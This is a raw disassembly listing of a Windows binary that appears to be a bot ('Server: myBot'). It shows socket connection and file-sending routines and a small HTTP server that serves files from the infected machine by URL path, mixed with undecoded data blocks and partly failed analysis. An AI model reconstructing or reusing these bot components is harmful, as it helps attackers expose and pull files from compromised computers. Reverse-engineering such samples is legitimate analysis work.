		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 2D0C57E8h
		db 2, 90h
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh
		dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h, 0F883716Ah
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 0E8F875FFh
		dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349A4h, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 43499C68h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	49846816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
		dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 434944h, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
		dd 0BF000002h, 434904h,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A0h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 434898h, 0D2CEE850h,	85590000h, 2A7559C0h, 80BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h,	481C681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481468FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47E86828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
		dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
		dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43475868h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2670E97h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 27315A6h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2680E33h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
